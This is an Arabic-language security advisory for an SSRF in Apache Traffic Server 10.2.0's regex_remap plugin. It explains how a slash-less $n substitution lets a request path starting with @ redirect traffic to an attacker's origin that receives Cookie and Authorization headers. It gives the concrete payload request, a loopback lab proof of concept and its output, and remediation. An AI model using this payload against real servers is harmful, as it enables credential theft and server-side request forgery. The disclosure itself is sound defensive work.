
Apache Traffic Server 10.2.0 - عالية - عن بُعد - SSRF - regex_remap noslash $n استيلاء على الأصل عبر userinfo
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
الفئة: SSRF النطاق: عن بُعد
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
يُدمج استبدال $n في regex_remap داخل سلسلة نصية ثم يُمرَّر إلى TSUrlParse، الذي ينفّذ url_clear ثم يحلّلها كعنوان URL كامل. أي التقاط يبدأ بـ @ يُعدّ userinfo وفق RFC 3986، لذا يصبح أصل المشغّل userinfo ويصبح مضيف المهاجم هو الأصل. يُمرَّر Cookie وAuthorization بصفتهما ATS uid.
الباقي هو http://origin:port$1 (بدون شرطة مائلة). أما الصيغة الموثّقة http://origin/$1 فتبقى على أصل المشغّل لأن الشرطة المائلة تُنهي الـ authority. الإضافة غير محمّلة افتراضيًا.
هذه ليست CVE-2026-58179 (url_len VLA، أصبح الآن LocalBuffer) وليست CVE-2026-22068 (الـ regex_map الأساسي مُثبَّت بالكامل).
| المعرّف | لا يوجد CVE بعد |
| الفئة | SSRF |
| النطاق | عن بُعد (HTTP دون مصادقة) |
| CWE | CWE-918 |
| CVSS | عالٍ: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| المنتج | Apache Traffic Server |
| المتأثر | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so بدون شرطة مائلة $n |
| المصادقة | لا شيء. الإضافة محمّلة. الاستبدال http://origin:port$1. |
| الترخيص | GNU Affero GPL v3.0 |
| المختبر | 127.0.0.1:18730 فقط. الصورة ats-10.2.0-lab:local. |
ثبّتُّ الوسم 10.2.0، والـ commit b1df7334b39a878971c376da849e8da4984918b6. صورة مبنية من المصدر.
HTTP دون مصادقة إلى vhost يحمّل remap الخاص به regex_remap.so مع $n مباشرة بعد host:port، دون شرطة مائلة.
| الطريقة | الهدف | الصلاحية |
|---|---|---|
GET /@evil-origin:8080/x مع الاستبدال http://good-origin:8080$1 | TSUrlParse بعد url_clear (regex_remap.cc:1159-1168، URL.cc:1313-1327) | السلامة / SSRF (مُثبَت مختبريًا): يتصل ATS بـ evil-origin:8080 كأصل (userinfo=good-origin:8080). يُمرَّر Cookie وAuthorization. |
| نفسه | جسم أصل المهاجم | الاستطلاع (مُثبَت مختبريًا): يُعاد ATS-REGEX-REMAP-USERINFO-WITNESS إلى العميل. cookie-fwd=True authorization-fwd=True. |
الاستبدال الموثّق http://good-origin:8080/$1 | تنتهي الـ authority عند / | مغلق (مُثبَت مختبريًا): بقي على good-origin. |
الاستبدال http://$1 | وضع المشغّل $n في الـ authority | SSRF (مُثبَت مختبريًا): وصل أيضًا إلى evil-origin. خطأ مشغّل مختلف. |
مُثبَت مختبريًا مقابل مُستنتَج: الباقي بدون شرطة مائلة، والموثّق بشرطة مائلة يبقى، وdollar-at / dollar-host أيضًا evil، ويُمرَّر Cookie وAuthorization، والتحكم /ok على good-origin: مختبري. ما يمكن لأصل المهاجم فعله بهذه الترويسات هو ما يكون عليه ذلك المضيف أصلًا.
يتطلب: إضافة regex_remap. خريطة باستبدال http://origin:port$1 (بدون شرطة مائلة). بقي remap_required على 1 (ليس مرحّلًا مفتوحًا).
| السطح | المختبر |
|---|---|
الموثّق http://origin/$1 | slash=good |
مضيف regex_map الأساسي | RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 مغلق) |
| مكدّس url_len | LocalBuffer (CVE-2026-58179 مغلق) |
مرحّل مفتوح remap_required: 0 | غير مستخدم |
CONTROL GET /ok | good-origin، دون witness |
regex_remap يبني سلسلة dest من $n ويستدعي TSUrlParse على السلسلة بأكملها. URL.cc @ هو userinfo. ادمج http://good-origin:8080 + @evil-origin:8080/x والمحلل يفعل بالضبط ما تقوله RFC 3986.
جرّبت الشكل الموثّق أولاً. http://good-origin:8080/$1 مع المسار /@evil-origin:8080/x يصبح http://good-origin:8080/@evil-origin:8080/x. الشرطة المائلة تُنهي الـ authority. بقيت على good-origin. هذا ليس المتبقي.
ثم http://good-origin:8080$1 (بدون شرطة مائلة). Dest http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. الشاهد على الأصل الخبيث. جاءت الكوكي وAuthorization معه.
منعطفات خاطئة: حفظ شكل الشرطة المائلة الموثّق؛ معاملة core regex_map على أنه هذا الـ plugin؛ تضخيم url_len VLA (مُرقّع)؛ معاملة http://$1 على أنه المتبقي الوحيد (إنه خطأ عامل ثانٍ، وليس خطأ عدم الشرطة المائلة).
المسرح: reverse shell. الـ oracle هو جسم أصل بالإضافة إلى Cookie / Authorization المُمرَّرة.
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
أو
cd lab
./run.sh
Loopback 127.0.0.1:18730 (الأصل الخبيث منشور أيضًا على 18731). مشروع Compose ats-regex-remap-userinfo. الصورة ats-10.2.0-lab:local. ثلاثة vhosts: slash / noslash / dollar. الشاهد ATS-REGEX-REMAP-USERINFO-WITNESS. السطر الأخير:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
لا تُدمج $n في الـ authority. أبقِ شرطة مائلة بين المضيف والالتقاط، أو حلّل الـ subst كمسار فقط. ارفض أي dest لا يكون مضيفه هو أصل المشغّل. أزل userinfo من عناوين URL التي تبنيها الإضافة. يجب أن تتوقف الوثائق عن الإيحاء بأن http://origin/$1 هو الشكل الوحيد الذي يكتبه المشغّلون.
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc TSUrlParse بعد substURL.cc @ userinfoInkAPI.cc TSUrlParse